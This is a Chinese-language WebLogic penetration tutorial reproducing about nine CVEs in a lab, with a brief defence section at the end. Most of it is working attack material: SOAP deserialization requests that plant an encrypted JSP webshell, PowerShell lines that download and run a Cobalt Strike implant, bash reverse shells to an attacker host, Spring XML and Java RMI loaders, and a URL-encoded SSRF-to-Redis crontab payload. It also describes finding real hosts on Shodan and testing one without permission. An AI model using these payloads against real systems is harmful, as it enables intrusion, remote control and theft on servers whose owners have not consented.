中間件安全之WebLogic滲透
本篇文章是WebLogic中間件漏洞復現,記錄了近幾年來爆出的WebLogic中間件漏洞主要分為六個部分:WebLogic簡介、WebLogic安裝、WebLogic漏洞復現、WebLogic SSRF聯動Redis、WebLogic實戰和WebLogic防御措施。
本篇文章由淺入深地介紹了WebLogic的反序列化漏洞,由于Oracle的黑名單處理機制,導致反序列化漏洞頻發,在學習WebLogic過程中也閱讀了幾十篇中英文WebLogic相關技術文章,最終按照作者我的思路進行總結,相關參考文章也在文末列出。
一、WebLogic簡介
WebLogic是美國Oracle公司出品的一個Java應用服務器,是一個基于JAVAEE架構的中間件,用于開發、集成、部署和管理大型分布式Web應用、網絡應用和數據庫應用。
WebLogic Server具有的優勢包括:
對業內多種標準的全面支持,包括EJB、JSP、JMS、JDBC、XML(標準通用標記語言的子集)和WML,使Web應用系統的實施更為簡單,并且保護了投資,同時也使基于標準的解決方案的開發更加簡便。
可擴展性高,包括客戶機連接的共享、資源pooling以及動態網頁和EJB組件群集
可靠性強,其容錯、系統管理和安全性能已經在全球數以千計的關鍵任務環境中得以驗證。
關于WebLogic Server的幾個基本概念:
Domain: 域是個邏輯概念,用來組織管理一系列的應用服務器實例,也就是下面要解釋的server. 域是WebLogic應用服務器中最大的概念,WebLogic應用服務器啟動的時候就是以某個域來啟動的,它有一個中心配置文件叫config.xml
Cluster: 族也是一個邏輯概念,用來分組用途相同的服務器實例,一個域中可以有多個族。
Machine: 機器是物理上的概念,代表一臺運行WebLogic應用服務器的實在的機器,包括其IP地址等信息。一個域中可以包括多臺機器。
Server: 服務器,也就是一個應用服務器的實例,用來部署和運行各種J2EE應用程序,也可以來配置各種服務程序。它是WebLogic應用服務器的基本服務單元。一個WebLogic域中一般有一個管理服務器和多個被管理服務器。也就是下面我們要談到的兩個概念。
Administrative Server: 管理服務器是用來管理配置域的中心點,一般來說,管理服務器上是不部署應用程序的,而是用來統一管理、配置、監控被管理服務器以及部署應用程序到被管理服務器上。一個域中有一臺管理服務器。
Managed Server: 被管理服務器是用來部署運行各種應用程序的。一個域中有一臺或多臺被管理服務器。
Node Manager: 節點管理器是一個單獨運行的后臺程序,一般運行在被管理服務器的機器上,用來提供遠程啟動和停止服務器(Server)的功能。
目前WebLogic Server較為常見的版本:
Weblogic 10.3.6.0
Weblogic 12.1.3.0
Weblogic 12.2.1.1
Weblogic 12.2.1.2
Weblogic 12.2.1.3
默認端口:7001
二、軟件安裝及配置
1、WebLogic10.3.6下載及安裝
下載網址:
https://www.oracle.com/middleware/technologies/weblogic-server-installers-downloads.html
WebLogic和JDK版本適配關系:(大概的關系,具體到每一個詳細的版本,需要去對應測試選擇)
WebLogic 14.x 需要 jdk1.8以上 WebLogic 12.x 需要 jdk1.7以上 WebLogic 10.x 需要 jdk1.6以上
安裝過程:
這里選擇WebLogic Server 10.3.6版本進行安裝
復現環境為Win7,選擇下圖中的版本

1)雙擊該安裝程序下載好該文件,雙擊該程序
這里簡單的操作或者默認下一步就不放圖了
2)Preparing the installer|選擇中間件主目錄
默認下一步,默認安裝目錄

3)注冊安全更新
默認,在跳出的框中選擇YES

選擇不接收配置中存在的安全問題|No

4)選擇安裝類型
選擇典型
5)選擇產品安裝目錄
默認,下一步
6)選擇快捷方式位置
默認,下一步
7)安裝概要
默認,進入安裝
8)安裝完成
默認,下一步
9)Quick Start
選擇第一項

10)WebLogic域
默認(創建新的WebLogic域)
11)選擇域源
默認,下一步
12)輸入域的名稱
默認,下一步
13)配置管理員用戶名和口令
輸入8位的口令
這里我設置xigua123

14)配置服務器啟動模式和JDK
選擇生產模式

15)選擇可選配置
選擇前兩項

16)配置管理服務器
設置Listen address為192.168.112.150(本機IP地址,使用ipconfig命令查看)

17)配置受管服務器
默認,下一步
18)配置集群
默認,下一步
19)配置計算機
默認,下一步
20)配置概要
默認,開始創建

2、WebLogic10.3.6配置
1)啟動weblogic服務
在路徑C:\Oracle\Middleware\user_projects\domains\base_domain下打開startWebLogic.cmd命令腳本,輸入用戶名和口令即可啟動。

訪問192.168.112.150:7001,回顯404,但是7001端口開啟

2)網頁后臺登陸
訪問192.168.112.150:7001/console進入后臺登陸頁面,用戶名和口令就是剛剛設置的weblogic:xigua123

注意點:左下角可以看到版本號
3、WebLogic12.1.3下載及安裝
安裝的方法類似,簡要記錄下
1)安裝JDK7
2)下載WebLogic12.1.3
下載地址:
https://www.oracle.com/middleware/technologies/weblogic-server-installers-downloads.html

3)啟動安裝
下載好后的文件放置到了jdk的bin目錄下,省得配環境

4)默認下一步,安裝
安裝好后,點擊完成

5)安裝域 - 在開始菜單找到Configuration Wizard
點擊啟動

6)創建新域

7)管理員賬戶
模板設置默認下一步,到管理員賬戶輸入登陸口令,設置為xigua123

8)高級配置
域模式默認為”開發模式”和JDK選擇默認下一步,到高級配置勾選管理服務器

9)管理服務器
監聽地址選擇為本地地址192.168.112.179

10)節點服務器
填寫用戶名和口令,簡單填為weblogic和xigua123

11)配置概要、配置進度、配置完畢
均默認下一步,安裝域完成~
域位置C:/Oracle/Middleware/Oracle_Home/user_projects/domains/base_domain管理服務器URLhttp://192.168.112.179:7001/console

4、WebLogic12.1.3配置
1)啟動weblogic服務
在目錄
C:/Oracle/Middleware/Oracle_Home/user_projects/domains/base_domain啟動startWebLogic.cmd

訪問網址http://192.168.112.179:7001/,啟動成功

2)網頁后臺登陸
訪問192.168.112.150:7001/console進入后臺登陸頁面,用戶名和口令就是剛剛設置的weblogic:xigua123

5、Vulhub靶場安裝
參考:vulhub漏洞環境搭建
1、安裝Docker
sudo apt install curl curl -s https://get.docker.com/ | sh


2、安裝python和pip
sudo apt install pythoncurl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.pysudo python get-pip.py


3、安裝docker-compoe
pip install docker-compose sudo apt install docker-compose docker-compose -v


4、vulhub靶場安裝
git clone https://github.com/vulhub/vulhub.git cd vulhub/httpd/CVE-2017-15715/ sudo docker-compose build # 構建 sudo docker-compose up -d # 命令啟動容器 docker ps # 查看正在運行的容器 sudo docker exec -it b5975a1a5bfe /bin/bash # 進入docker容器內


本機IP為192.168.112.141
參考:Docker容器進入的4種方式
三、WebLogic滲透
1、弱口令登陸部署shell文件
0x01 簡介
用戶管理員在配置密碼時將登陸口令設置為簡易的弱口令,這使得攻擊者可以很容易的猜解到口令并登陸進后臺,通過部署木馬文件,拿到shell,進行進一步的滲透
0x02 復現 - 部署shell文件冰蝎連接
1)弱口令登陸后臺
2)部署 - 安裝

3)上傳文件

4)選擇shell.war包

5)成功上傳
默認下一步
C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\servers\AdminServer\upload\shell.war

6)部署為應用程序

7)部署完成


8)冰蝎連接

2、XMLDecoder反序列化漏洞(CVE-2017-3506)
本次漏洞繞過只生效于JDK6,可升級JDK版本至JDK7及以上。
0x01 簡介
漏洞簡述:WebLogic Server WLS組件在調用XMLDecoder進行解析XML數據時,觸發反序列化漏洞進而造成遠程命令執行。(WebLogic Server WLS組件對外提供webservice服務,使用XMLDecoder來解析用戶傳入的XML數據)
漏洞觸發點:位于wls-wsat.war
觸發漏洞url:
http://192.168.xx.xx:7001/wls-wsat/CoordinatorPortType(使用post數據包)
漏洞利用:通過構造構造SOAP(XML)格式的請求,在解析的過程中導致XMLDecoder反序列化漏洞。
WebLogic Server WLS組件對外提供webservice服務,使用XMLDecoder來解析用戶傳入的XML數據
0x02 漏洞指紋
訪問以下目錄中的一種,有回顯如下圖可以判斷wls-wsat組件存在
/wls-wsat/CoordinatorPortType /wls-wsat/RegistrationPortTypeRPC /wls-wsat/ParticipantPortType /wls-wsat/RegistrationRequesterPortType /wls-wsat/CoordinatorPortType11 /wls-wsat/RegistrationPortTypeRPC11 /wls-wsat/ParticipantPortType11 /wls-wsat/RegistrationRequesterPortType11

這些目錄定義在web.xml配置文件中,文件位于路徑C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\wls-wsat\54p17w\war\WEB-INF中,打開該文件可以看到所配置的網址。

0x03 漏洞復現 - 寫入jsp木馬文件getshell
1)抓包改包
訪問
http://192.168.112.150:7001/wls-wsat/CoordinatorPortType頁面,存在漏洞
使用burpsuite抓包,修改包內容
POST /wls-wsat/CoordinatorPortType HTTP/1.1Host: 192.168.112.150:7001Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: text/xmlContent-Length: 1105
"http://schemas.xmlsoap.org/soap/envelope/">"http://bea.com/2004/06/soap/workarea/">"1.4.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/xigua.jspstring><void method="println"><string><%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>]]>string>void><void method="close"/>object>

2)冰蝎連接


0x04 漏洞復現 - 執行powershell命令上線CS
1)CS生成后門木馬文件

2)公網服務器開啟簡易Web服務器模式
這里由于是復現,使用Kali開啟簡易Web服務器,將生成的木馬放在該目錄下,可以訪問到

3)powershell下載執行命令
powershell -Command (new-object System.Net.WebClient).DownloadFile('http://192.168.112.175/xigua.exe','xigua.exe');start-process xigua.exe
4)抓包修改包
訪問
http://192.168.112.150:7001/wls-wsat/CoordinatorPortType頁面,存在漏洞
使用burpsuite抓包,修改包內容
POST /wls-wsat/CoordinatorPortType HTTP/1.1Host: 192.168.112.150:7001Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: text/xmlContent-Length: 897
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java version="1.4.0" class="java.beans.XMLDecoder"><object class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>powershellstring>void><void index="1"><string>-Commandstring>void><void index="2"><string>(new-object System.Net.WebClient).DownloadFile('http://192.168.112.175/xigua.exe','xigua.exe');start-process xigua.exestring>void>array><void method="start"/>object>java>work:WorkContext>soapenv:Header><soapenv:Body/>soapenv:Envelope>

上線CS成功

3、XMLDecoder反序列化漏洞(CVE-2017-10271)
CVE-2017-10271和上面的CVE-2017-3506利用原理在本質上是一致的,只不過CVE-2017-10271繞過了CVE-2017-3506的補丁
0x01 漏洞復現-反彈shell
靶場IP:192.168.112.144
1)抓包改包發包
訪問
http://192.168.112.144:7001/wls-wsat/CoordinatorPortType頁面,存在漏洞
使用burpsuite抓包,修改包內容
POST /wls-wsat/CoordinatorPortType HTTP/1.1Host: 192.168.112.144:7001Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: text/xmlContent-Length: 633 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java version="1.4.0" class="java.beans.XMLDecoder"><void class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>/bin/bashstring>void><void index="1"><string>-cstring>void><void index="2"><string>bash -i >& /dev/tcp/192.168.112.175/8888 0>&1string>void>array><void method="start"/>void>java>work:WorkContext>soapenv:Header><soapenv:Body/>soapenv:Envelope>

0x02 原理分析
參考大佬的文章
Weblogic XMLDecoder RCE分析 (seebug.org)
簡單描述:在CVE-2017-3506之前,不對payload進行驗證,使用object tag可以RCE,CVE-2017-3506的補丁在weblogic/wsee/workarea/WorkContextXmlInputAdapter.java中添加了validate方法,在解析xml時,Element字段出現object tag就拋出運行時異常,不過這次防護力度不夠,導致了CVE-2017-10271,利用方式類似,使用了void tag進行RCE,于是CVE-2017-10271的補丁將object、new、method關鍵字加入黑名單,針對void和array這兩個元素是有選擇性的拋異常,其中當解析到void元素后,還會進一步解析該元素中的屬性名,若沒有匹配上index關鍵字才會拋出異常。而針對array元素而言,在解析到該元素屬性名匹配class關鍵字的前提下,還會解析該屬性值,若沒有匹配上byte關鍵字,才會拋出運行時異常。總之,這次的補丁基本上限定了不能生成java實例。
0x03 小結
這兩個CVE漏洞本質上就是反序列化惡意代碼xml解析生成了java實例,造成了遠程代碼執行
4、wls-wsat反序列化漏洞(CVE-2019-2725)
0x01 簡介
漏洞簡述:
漏洞觸發點:bea_wls9_async_response.war、wsat.war
影響版本:Oracle WebLogic Server 10.* 、Oracle WebLogic Server 12.1.3
0x02 漏洞指紋
訪問以下目錄中的一種,有回顯如下圖則存在該漏洞
/_async/AsyncResponseService /_async/AsyncResponseServiceJms /_async/AsyncResponseServiceHttps /_async/AsyncResponseServiceSoap12 /_async/AsyncResponseServiceSoap12Jms /_async/AsyncResponseServiceSoap12Https

這些目錄定義在
C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\bea_wls9_async_response\8tpkys\war\WEB-IN``F\web.xml,打開該文件可以看到所配置的網址

0x03 復現 - 上線CS
復現環境:
Win7 192.168.112.150
Kali Linux 192.168.112.175
關鍵powershell命令如下:
powershell -Command (new-object System.Net.WebClient).DownloadFile('http://192.168.112.175/xigua.exe','xigua.exe');start-process xigua.exe
1)訪問網頁
訪問http://192.168.112.150:7001/_async/AsyncResponseService,存在漏洞
2)burpsuite抓包改包
將POST數據內容改成下面
POST /_async/AsyncResponseService HTTP/1.1Host: 192.168.112.150:7001Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Connection: closeContent-Length: 852Accept-Encoding: gzip, deflateSOAPAction:Accept: */*User-Agent: Apache-HttpClient/4.1.1 (java 1.5)Connection: keep-alivecontent-type: text/xmlcmd:whoami
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"xmlns:asy="http://www.bea.com/async/AsyncResponseService"><soapenv:Header><wsa:Action>xxwsa:Action><wsa:RelatesTo>xxwsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><void class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>powershellstring>void><void index="1"><string>-Commandstring>void><void index="2"><string>(new-object System.Net.WebClient).DownloadFile('http://192.168.112.175/xigua.exe','xigua.exe');start-process xigua.exestring>void>array><void method="start"/>void>work:WorkContext>soapenv:Header><soapenv:Body><asy:onAsyncDelivery/>soapenv:Body>soapenv:Envelope>
3)發包
這里利用的后門木馬文件使用上面生成的

0x04 復現 - 反彈shell
復現環境:
Ubuntu_Vulhub 192.168.112.144 Kali Linux 192.168.112.175
1)訪問頁面
訪問http://192.168.112.144:7001/_async/AsyncResponseService,存在漏洞
2)抓包改包
將POST數據內容改成下面
POST /_async/AsyncResponseService HTTP/1.1Host: 192.168.112.144:7001Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Connection: closeContent-Length: 852Accept-Encoding: gzip, deflateSOAPAction:Accept: */*User-Agent: Apache-HttpClient/4.1.1 (java 1.5)Connection: keep-alivecontent-type: text/xmlcmd:whoami <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"xmlns:asy="http://www.bea.com/async/AsyncResponseService"><soapenv:Header><wsa:Action>xxwsa:Action><wsa:RelatesTo>xxwsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><void class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>/bin/bashstring>void><void index="1"><string>-cstring>void><void index="2"><string>bash -i >& /dev/tcp/192.168.112.175/9999 0>&1string>void>array><void method="start"/>void>work:WorkContext>soapenv:Header><soapenv:Body><asy:onAsyncDelivery/>soapenv:Body>soapenv:Envelope>

0x05 原理分析
參考大佬文章:
https://www.freebuf.com/articles/web/202203.html
本次的繞過關鍵點在于利用了Class元素指定任意類名,在CVE-2017-10271補丁中限制了帶method屬性的void元素,不能調用指定的方法,只能調用完成類實例化過程的構造方法。在尋找利用鏈的過程中發現UnitOfWorkChangeSet類構造方法中直接調用了JDK原生類中的readObject()方法,并且其構造方法的接收參數恰好是字節數組,這就滿足了上一個補丁中array標簽的class屬性值必須為byte的要求,再借助帶index屬性的void元素,完成向字節數組中賦值惡意序列化對象的過程,進而利用反序列化漏洞造成RCE,通過巧妙的利用了void、array和Class這三個元素成功的打造了利用鏈,再次完美的繞過了CVE-2017-10271補丁限制。
5、WebLogic T3協議反序列化命令執行漏洞(CVE-2018-2628)
0x01 簡介
Oracle WebLogic Server的T3通訊協議的實現中存在反序列化漏洞。遠程攻擊者通過T3協議在Weblogic Server中執行反序列化操作,利用RMI(遠程方法調用) 機制的缺陷,通過 JRMP 協議(Java遠程方法協議)達到執行任意反序列化代碼,進而造成遠程代碼執行
影響版本:10.3.6.0、12.1.3.0、12.2.1.1、12.2.1.2
基于Weblogic T3協議引起遠程代碼執行的反序列化漏洞
同是由WebLogic T3協議引起的反序列化漏洞還有
CVE-2015-4852 CVE-2016-0638 CVE-2016-3510 CVE-2017-3248 CVE-2018-2893 CVE-2016-0638
0x02 漏洞指紋
使用腳本CVE-2018-2628-poc.py進行掃描
下載地址:https://github.com/shengqi158/CVE-2018-2628

0x03 復現 - powershell上線CS
1)寫入jsp交互文件
使用工具k8weblogicGUI.exe

寫入shell的位置:
http://192.168.112.150:7001/bea_wls_internal/wlscmd.jsp
2)使用腳本連接得到交互shell
腳本下載地址:https://github.com/jas502n/CVE-2018-2628

3)上線CS
開啟簡易Web服務

使用powershell命令下載執行木馬文件
powershell -Command (new-object System.Net.WebClient).DownloadFile('http://192.168.112.175/xigua.exe','xigua-T3.exe');start-process xigua-T3.exe

6、WebLogic 未授權訪問漏洞(CVE-2018-2894)
0x01 簡介
Weblogic Web Service Test Page中有兩個未授權頁面,可以上傳任意文件。但是有一定的限制,該頁面在開發模式下存在,如果是生產模式,需要登陸后臺進行配置,如下

影響版本:10.3.6、12.1.3、12.2.1.2、12.2.1.3
0x02 漏洞指紋
該測試頁共有兩個,如下
/ws_utc/config.do /ws_utc/begin.do

因此,這里有兩種攻擊目標方向,下面的復現分別對config.do和begin.do頁面進行未授權訪問寫入jsp文件進而拿shell
0x03 復現 - config.do - Windows環境上線CS
1)設置Work Home Dir為ws_utc應用的靜態文件css目錄,點擊提交即可
C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\com.oracle.webservices.wls.ws-testclient-app-wls_12.1.3\cmprq0\war\css

2)上傳Webshell
在安全 - 添加選擇大馬jsp文件

3)獲取文件ID
提前打開F12開發者工具欄,點擊提交后會在”網絡”出現一條請求,在其響應報文部分可以看到此文件的ID值(也可以使用burpsuite進行查看)
id: 1624292530214

4)訪問文件
訪問文件所在的網址
http://127.0.0.1:7001/ws_utc/css/config/keystore/{ID}_{文件名}http://192.168.112.179:7001/ws_utc/css/config/keystore/1624292530214_bighorse.jsp

5)執行powershell命令下載文件上線CS
powershell -Command (new-object System.Net.WebClient).DownloadFile('http://192.168.112.175/xigua.exe','xigua-2894.exe');start-process xigua-2894.exe

0x04 復現 - config.do - Linux環境反彈shell
1)開啟vulhub靶機環境
sudo docker-compose up -d

2)生產模式下需要先登陸
由于vulhub的weblogic模式為生產模式,需要進行修改,首先先獲取到登陸的賬號和密碼
sudo docker-compose logs | grep password jTUtVi3E

3)設置Work Home Dir為ws_utc應用的靜態文件css目錄,點擊提交即可
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
4)上傳Webshell
上傳JspSpy.jsp文件
5)獲取文件ID
提前打開F12開發者工具欄,點擊提交后會在”網絡”出現一條請求,在其響應報文部分可以看到此文件的ID值(也可以使用burpsuite進行查看)
6)訪問文件
http://127.0.0.1:7001/ws_utc/css/config/keystore/{ID}_{文件名}http://192.168.112.144:7001/ws_utc/css/config/keystore/1624296413135_JspSpy.jsp
7)反彈shel

0x05 復現 - begin.do - Linux環境冰蝎連接
在開發模式下,前往begin.do頁面默認不需要驗證
1)選擇上傳的文件

2)在響應報文中發現文件地址
/css/upload/RS_Upload_2021-06-21_17-39-04_667/import_file_name_shell.jsp

3)冰蝎連接
http://192.168.112.144:7001/ws_utc/css/upload/RS_Upload_2021-06-21_17-39-04_667/import_file_name_shell.jsp

7、WebLogic SSRF漏洞(CVE-2014-4210)
0x01 簡介
Weblogic SSRF漏洞出現在UDDI組件實現包uddiexplorer.war下的SearchPublicRegistries.jsp
0x02 漏洞指紋
訪問url:
http://192.168.112.144:7001/uddiexplorer/SearchPublicRegistries.jsp
出現下面內容表示存在此SSRF漏洞

0x03 抓包分析
情況一:ssrf請求端口存在,但非http協議
An error has occurred weblogic.uddi.client.structures.exception.XML_SoapException: The server at http://127.0.0.1:7001 returned a 404 error code (Not Found). Please ensure that your URL is correct, and the web service has deployed without error.

情況二:ssrf請求端口不存在
<p>An error has occurred<br> weblogic.uddi.client.structures.exception.XML_SoapException: Tried all: '1' addresses, but could not connect over HTTP to server: '127.0.0.1', port: '80'

情況三:ssrf請求端口存在,且為http協議
An error has occurred weblogic.uddi.client.structures.exception.XML_SoapException: Received a response from url: http://192.168.160.2:6379 which did not have a valid SOAP content-type: null.

8、WebLogic Console 權限繞過漏洞&RCE(CVE-2020-14882/14883)
0x01 簡介
通過構造惡意的HTTP GET請求,接管WebLogic的Console控制臺組件中,不過與正常登陸進去的不一樣,沒有部署安裝的按鈕,需要用其他辦法拿shell
影響版本:10.3.6.0、12.1.3.0、12.2.1.3、12.2.1.4、14.1.1.0
0x02 漏洞指紋
利用到了CVE-2020-14883: 權限繞過漏洞
http://192.168.112.144:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29

0x03 復現 - 無回顯創建文件
利用到了CVE-2020-14882: 代碼執行漏洞
訪問下面惡意構造的網址
http://192.168.112.144:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27touch /tmp/xigua%27);%22);

可以發現創建的文件是oracle用戶權限較低權且只有讀和寫的權限,無可執行權限。
Linux權限位參考:http://c.biancheng.net/view/753.html
0x04 復現 - Linux反彈shell
利用到了CVE-2020-14882: 代碼執行漏洞,通過加載遠程項XML文件執行反彈shell
# reverse-bash.xml <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"><bean id="pb" class="java.lang.ProcessBuilder" init-method="start"><constructor-arg><list><value>/bin/bashvalue><value>-cvalue><value>& /dev/tcp/192.168.112.175/8888 0>&1]]>value>list>constructor-arg>bean>beans>
訪問下面的網址,加載192.168.112.175上的reverse-bash.xml文件,執行反彈shell
http://192.168.112.144:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://192.168.112.175/reverse-bash.xml")

以此類推,上線CS則將xml文件內容修改成
# cs.xml <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"><bean id="pb" class="java.lang.ProcessBuilder" init-method="start"><constructor-arg><list><value>/bin/bashvalue><value>-cvalue><value>value>list>constructor-arg>bean>beans>
9、IIOP反序列化漏洞(CVE-2020-2551)
0x01 簡介
漏洞原理:IIOP協議在調用遠程對象的實現中,JtaTransactionManager未做黑名單過濾導致可以構造任意序列化對象,并且無安全檢查
影響版本:10.3.6.0、12.1.3.0、12.2.1.3、12.2.1.4
利用過程:
1.通過 Weblogic 的IP與端口通過weblogic.jndi.WLInitialContextFactory類進行 IIOP 協議數據交互2.基于JtaTransactionManager設置 RMI 加載地址3.通過ysoserial構建 Gadgets 并且通過 IIOP 進行綁定,并且觸發漏洞參考大佬文章:
https://paper.seebug.org/1149/#_4
https://xz.aliyun.com/t/7725
0x02 復現環境 - 安裝Javac環境1.8版本
底層原理頗為復雜,目前就先上手復現上線CS和反彈shell,原理剖析部分留到日后
javac:是編譯命令,將java源文件編譯成.class字節碼文件。
java:是運行字節碼文件;由java虛擬機對字節碼進行解釋和運行
這里需要用到jdk1.8版本,對于11版本需要刪除重裝,建議先存個快照,安裝步驟如下:
cd /optcurl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gz tar zxvf jdk-8u20-linux-x64.tar.gzrm -rf /usr/bin/java*ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin javac -versionjava -version
0x03 復現 - Powershell上線CS
1)編寫exp.java代碼
import java.io.IOException;public class exp {static{try {java.lang.Runtime.getRuntime().exec(new String[]{"powershell","/c","(new-object System.Net.WebClient).DownloadFile('http://192.168.112.132/xigua.exe','xigua-IIOP.exe');start-process xigua-IIOP.exe"});} catch (IOException e) {e.printStackTrace();}}public static void main(String[] args) {
}}
2)javac編譯exp.java
javac exp.java -source 1.6 -target 1.6

3)啟動RMI服務
設置RMI服務端口為7077
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.112.132/#exp" 7077

4)使用工具 - 上線CS
java -jar weblogic_CVE_2020_2551.jar 192.168.112.179 7001 rmi://192.168.112.132:7077/exp

類似的也可以修改exp代碼用于反彈shell
import java.io.IOException;public class exp {static{try {java.lang.Runtime.getRuntime().exec(new String[]{"bash","-i",">& /dev/tcp/192.168.112.132/6655 0>&1"});} catch (IOException e) {e.printStackTrace();}}public static void main(String[] args) {
}}
bash -i >& /dev/tcp/192.168.112.132/6655 0>&1
四、WebLogic SSRF聯動Redis
1、復現環境
使用vulhub中weblogic的ssrf靶場,路徑為/vulhub/weblogic/ssrf
執行命令下載開啟該靶場
# 開啟靶場 sudo docker-compose up -d # 關閉靶場 sudo docker-compose down # 查看靶場鏡像信息 sudo docker ps

2、復現 - crontab反彈shell
通過ssrf探測內網中的redis服務器,發現192.168.160.2:6379可以連通,如圖,這里可以用腳本探測,不過速度較慢,先直接上手

存在redis數據庫,直接通過計劃任務反彈shell到Kali Linux(192.168.112.175)上
Redis數據庫寫入crontab內容的命令
# redis命令: set 1 "* * * * * root bash -i >& /dev/tcp/192.168.112.175/5555 0>&1"config set dir /etc/config set dbfilename crontabsave
crontab內容解釋:
* * * * * root bash -i >& /dev/tcp/192.168.112.175/5555 0>&1前面5個* 表示每一分鐘執行一次命令root 以root權限執行命令bash... 要執行的命令crontab表達式參考:https://blog.csdn.net/current_person/article/details/52799687
將Redis命令進行url編碼,注意換行符為%0D%0A
# url編碼后添加至operator參數后:operator=http://192.168.160.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.112.175%2F5555%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
將operator參數添加至GET請求中,發包

等待一分鐘后,Linux成功監聽到反彈shell

五、WebLogic實戰
1、網絡空間搜索引擎搜索
使用fofa、shodan和zoomeye等引擎進行搜索
2、關鍵詞搜索
在shodan上輸入weblogic,搜索到470361臺安裝了Weblogic服務的主機,隨便拿一臺外國的測試測試(全程打碼,僅供測試)

存在CVE-2017-3506等漏洞

剩下的留給讀者去拓展,利用豐富的搜索語法得到更多詳細的信息
六、WebLogic防御措施
1、弱口令
避免使用弱口令作為登陸密碼,增強口令的復雜度
2、CVE-2017-3506
升級補丁
官網補丁:
https://www.oracle.com/security-alerts/cpuoct2017.html
3、CVE-2017-10271
升級補丁
官網補丁:
https://www.oracle.com/security-alerts/cpuoct2017.html
4、CVE-2019-2725
禁用bea_wls9_async_response組件
5、CVE-2018-2628
過濾T3協議或安裝補丁
6、CVE-2018-2894
升級到最新版本,這兩處頁面已刪除
7、CVE-2014-4210
升級補丁
